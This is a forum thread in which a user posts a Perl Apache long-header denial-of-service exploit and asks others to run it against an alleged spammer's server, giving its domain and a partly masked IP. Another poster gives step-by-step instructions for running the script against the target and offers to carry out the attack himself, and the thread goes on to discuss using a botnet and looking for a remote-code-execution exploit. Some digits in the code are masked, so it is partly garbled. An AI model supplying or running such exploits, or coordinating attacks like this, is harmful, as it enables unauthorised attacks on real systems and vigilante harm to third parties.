Help to Fuck a Fucker!

[fabioejp]

There is a dude who have spamming several times now and if anyone from the public got free time to spare here is some info.

The computer is running a vulnerable version of apache (Apache-2.0.4*) which for your info is vulnerable to a DOS.

If anyone with a server box in the crowd could setup this perl script it would make me a BIG favour.




#/usr/bin/perl -w

use IO::Socket::INET;

usage() unless (@ARGV == 2);
my $host = shift(@ARGV);
my $port = shift(@ARGV);

sub usage
{
print "\n***********************************************";
print "\n Apache HTTPd Arbitrary Long HTTP Headers DoS \n";
print " Tested Versions : 2 < 2.0.4* \n";
print " Adv : http://www.guninski.com/httpd*.html \n";
print " By : Qnix , Q-nix[at]hotmail[dot]com \n";
print "***********************************************\n\n";
print "Usage: apache_ap_get_dos.pl [Host] [Port]\n\n";
exit(*);
}

my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host,
PeerPort=>$port);
$socket or die "Cannot connect to the host.\n";

binmode($sock);

$hostname="Host: $host";

$buf2='A'x50;
$buf4='A'x8*8*;

$len=length($buf2);

$buf="GET / HTTP/*.*\r\n";

send($sock,$buf,0) || die "send error:$@\n";
for($i= 0; $i < 2000000; $i++)
{
$buf=" $buf4\r\n";
send($sock,$buf,0) || die "send error:$@, target maybe have been
DoS?\n";
}

$buf="$hostname\r\n";
$buf.="Content-Length: $len\r\n";

$buf.="\r\n";
$buf.=$buf2."\r\n\r\n";

send($sock,$buf,0) || die "send error:$@\n";
print "Ok, the buffer sent to the target \n";
close($sock);

# milw0rm.com [2005-06-20]

The Fucker info is:
IP: 200.*46.***.20*

http://www.heartdisc.net -> The Domain name
http://200.*46.***.20*:80 -> Virus found
http://200.*46.***.20*/albums/dani_album4587/album_dani*56***.scr Virus Found

TIA

[Ezekiel]

There is a dude who have spamming several times now and if anyone from the public got free time to spare here is some info.

The computer is running a vulnerable version of apache (Apache-2.0.4*) which for your info is vulnerable to a DOS.

If anyone with a server box in the crowd could setup this perl script it would make me a BIG favour.




The Fucker info is:
IP: 200.*46.***.20*

http://www.heartdisc.net -> The Domain name
http://200.*46.***.20*:80 -> Virus found
http://200.*46.***.20*/albums/dani_album4587/album_dani*56***.scr Virus Found

TIA

You don't need a server to run perl scripts, they can be run on a server, but can also be run just by using perl. If you download perl, then once it's set up, all you have to do is take that script and put it in a text file called filename.pl and then in command prompt, cd to the directory it's in, then use the command

perl filename.pl

then the script will be run, and you will get all the info you need from what the script tells you in command prompt. I am explaining how to do this for windows, I am assuming if you have linux you would know how to run perl scripts. Also, the script will take a few command line arguments, in this case the syntax of using it would be:

perl filename.pl www.siteyouwanttodos.com 80

And 80 would be the port you are attacking, most of the time will be 80 with a http server. Perl can be downloaded here:

http://www.perl.com/download.csp

The download you want should be under "win*2 binaries". Also, I will attack the server with this script if you really can't set it up, but it's not that hard. Post if you have any problems running perl scripts.

[fabioejp]

You don't need a server to run perl scripts, they can be run on a server, but can also be run just by using perl. If you download perl, then once it's set up, all you have to do is take that script and put it in a text file called filename.pl and then in command prompt, cd to the directory it's in, then use the command

perl filename.pl

then the script will be run, and you will get all the info you need from what the script tells you in command prompt. I am explaining how to do this for windows, I am assuming if you have linux you would know how to run perl scripts. Also, the script will take a few command line arguments, in this case the syntax of using it would be:

perl filename.pl www.siteyouwanttodos.com 80

And 80 would be the port you are attacking, most of the time will be 80 with a http server. Perl can be downloaded here:

http://www.perl.com/download.csp

The download you want should be under "win*2 binaries". Also, I will attack the server with this script if you really can't set it up, but it's not that hard. Post if you have any problems running perl scripts.


I got previously setup on windows but i can't seem to validate the parameters. I have a server + perl + php installed to test this short of things. I will be trying your aproach, to run outside the server enviroment.

[fabioejp]

It doesn't seem to be so effective, the server is still up!
Do you know any Xploit with remote arbitrary code execution?

Using this DOS, i think, that it needs several friends to do it or a botnet all setup which in this way we will have to install perl in each zombie machine.

[Ezekiel]

It doesn't seem to be so effective, the server is still up!
Do you know any Xploit with remote arbitrary code execution?

Using this DOS, i think, that it needs several friends to do it or a botnet all setup which in this way we will have to install perl in each zombie machine.

No, the whole point of exploits is to exploit a hole or bug in the programming, it doesn't matter if one person does it or a whole network of infected computers are commanded to do it, it will have the same result. So you shouldn't try to get more than one computer running this script, one is enough. Using a botnet to attack them would be a normal denial of service attack, DoS attacks don't use any exploits and rely on using up all the server's bandwidth so it cannot function correctly and can't reply to any valid requests. This script does cause a denial of service, but it uses an exploit and only requires one computer to do it. Check that this exploit is for the version he is running, it should work. The syntax of running a perl script is (when in it's directory):

perl filename.pl [arguments]

Example:

perl filename.pl www.targetsite.com

[fabioejp]

No, the whole point of exploits is to exploit a hole or bug in the programming, it doesn't matter if one person does it or a whole network of infected computers are commanded to do it, it will have the same result. So you shouldn't try to get more than one computer running this script, one is enough. Using a botnet to attack them would be a normal denial of service attack, DoS attacks don't use any exploits and rely on using up all the server's bandwidth so it cannot function correctly and can't reply to any valid requests. This script does cause a denial of service, but it uses an exploit and only requires one computer to do it. Check that this exploit is for the version he is running, it should work. The syntax of running a perl script is (when in it's directory):

perl filename.pl [arguments]

Example:

perl filename.pl www.targetsite.com

Just drop by to say that this is the version if you go back with the last link i gave (the one that include the virus) you should see a message apache something.
That's the reason why i know that it is that particular version or if the dude modify it which i think is unlikely.

Also thanks for the info